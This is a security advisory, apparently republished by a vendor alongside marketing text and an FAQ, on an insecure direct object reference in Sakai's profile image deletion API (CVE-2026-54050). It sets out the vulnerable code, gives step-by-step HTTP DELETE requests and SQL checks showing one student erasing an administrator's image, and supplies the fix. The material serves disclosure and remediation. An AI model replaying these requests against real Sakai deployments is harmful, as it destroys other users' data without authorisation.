Summary
Sakai Profile Image Deletion has an IDOR
The Sakai REST API endpoint DELETE /api/users/{userId}/profile/image does not verify that the requesting user is authorized to modify the target user's profile. Any authenticated user can delete the profile image of any other user, including administrators, by supplying a different userId in the path. The service layer has no authorization check, and the delete cascades through Content Hosting Service (CHS) with a security advisor that bypasses all CHS permission checks.
Details
ProfileController.removeProfileImage() in the webapi module retrieves the current user's session but performs no comparison between the authenticated user and the target userId path parameter:
@DeleteMapping(value = "/users/{userId}/profile/image")
public ResponseEntity<String> removeProfileImage(@PathVariable String userId) {
String currentUserId = checkSakaiSession().getUserId();
if (currentUserId == null) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}
profileService.removeProfileImage(userId); // userId is attacker-controlled
return ResponseEntity.ok().build();
}
ProfileServiceImpl.removeProfileImage() delegates directly to dao.removeProfileImage(userUuid) with no authorization check. The DAO calls profileImageUploadedRepository.deleteById(userId), removing the profile_images_t row unconditionally.
For contrast, the upload endpoint setProfileImage() correctly verifies ownership:
if (!sakaiProxy.isSuperUser() && !StringUtils.equals(currentUserUuid, userUuid)) {
throw new SecurityException("Not allowed to save.");
}
This asymmetry means any authenticated user can delete but not upload over another user's profile image.
Additionally, the pronunciation recording delete endpoint (DELETE /api/users/{userId}/profile/pronunciation) has no checkSakaiSession() call at all, making it accessible without any authentication.
Setup:
- Admin user:
admin, with a custom profile image uploaded - Attacker:
student2(unprivileged user, SAKAIID cookie from authenticated session)
Step 1 - Admin uploads profile image (confirm non-default state):
POST /api/users/admin/profile/image HTTP/1.1
Cookie: SAKAIID=<admin-session>
Content-Type: application/x-www-form-urlencoded
base64=<base64-encoded-png>
Response: {"status":"SUCCESS"}
Step 2 - Verify image exists in database:
SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';
-- Result: admin | /private/profileImages/admin/1/eb92b129-9b00-4978-aec3-be840455d8e9
Step 3 - Attacker (student2) deletes admin's profile image:
DELETE /api/users/admin/profile/image HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=974996f4-e9c1-441c-9ab9-d3646aa5c754.9799861f31fb
Response: HTTP/1.1 200
Step 4 - Verify image is gone from database:
SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';
-- Result: (empty - row deleted)
The attack succeeds. Student2's session is accepted by checkSakaiSession() (non-blank userId), and the target userId (admin) is passed directly to the service without any ownership check.
Suggested Remediation
In ProfileController.removeProfileImage(), add an ownership check before calling the service:
@DeleteMapping(value = "/users/{userId}/profile/image")
public ResponseEntity<String> removeProfileImage(@PathVariable String userId) {
Session session = checkSakaiSession();
String currentUserId = session.getUserId();
if (currentUserId == null) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}
// Add this check:
if (!sakaiProxy.isSuperUser() && !currentUserId.equals(userId)) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}
profileService.removeProfileImage(userId);
return ResponseEntity.ok().build();
}
Apply the same ownership check in ProfileServiceImpl.removeProfileImage() for defense-in-depth, mirroring the pattern in setProfileImage().
For the pronunciation endpoint, add checkSakaiSession() and the same ownership check.
Status / timeline:
- 2026-06-02: Fix committed to master (
a092dbf3dc6bf343131f50007c207a9abd95e852) - Release pending.
Impact
Any authenticated user (student, guest) can:
- Permanently delete the profile image of any other user, including administrators and instructors
- Repeatedly trigger deletion to prevent a target user from maintaining a profile picture
- In a university context where profile photos are used for identity verification in proctored exams or student directories, this could disrupt identity management workflows
The attack is trivially scriptable and can target all users on the platform in bulk.
CVE-2026-54050 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (23.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
org.sakaiproject.profile2:profile2-api to 23.5 or later; org.sakaiproject.profile2:profile2-impl to 23.5 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-54050? CVE-2026-54050 is a medium-severity security vulnerability in org.sakaiproject.profile2:profile2-api (maven), affecting versions >= 23.0, < 23.5. It is fixed in 23.5.
- How severe is CVE-2026-54050? CVE-2026-54050 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-54050?
org.sakaiproject.profile2:profile2-api(maven) (versions >= 23.0, < 23.5)org.sakaiproject.profile2:profile2-impl(maven) (versions >= 23.0, < 23.5)
- Is there a fix for CVE-2026-54050? Yes. CVE-2026-54050 is fixed in 23.5. Upgrade to this version or later.
- Is CVE-2026-54050 exploitable, and should I be worried? Whether CVE-2026-54050 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54050 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54050?
- Upgrade
org.sakaiproject.profile2:profile2-apito 23.5 or later - Upgrade
org.sakaiproject.profile2:profile2-implto 23.5 or later
- Upgrade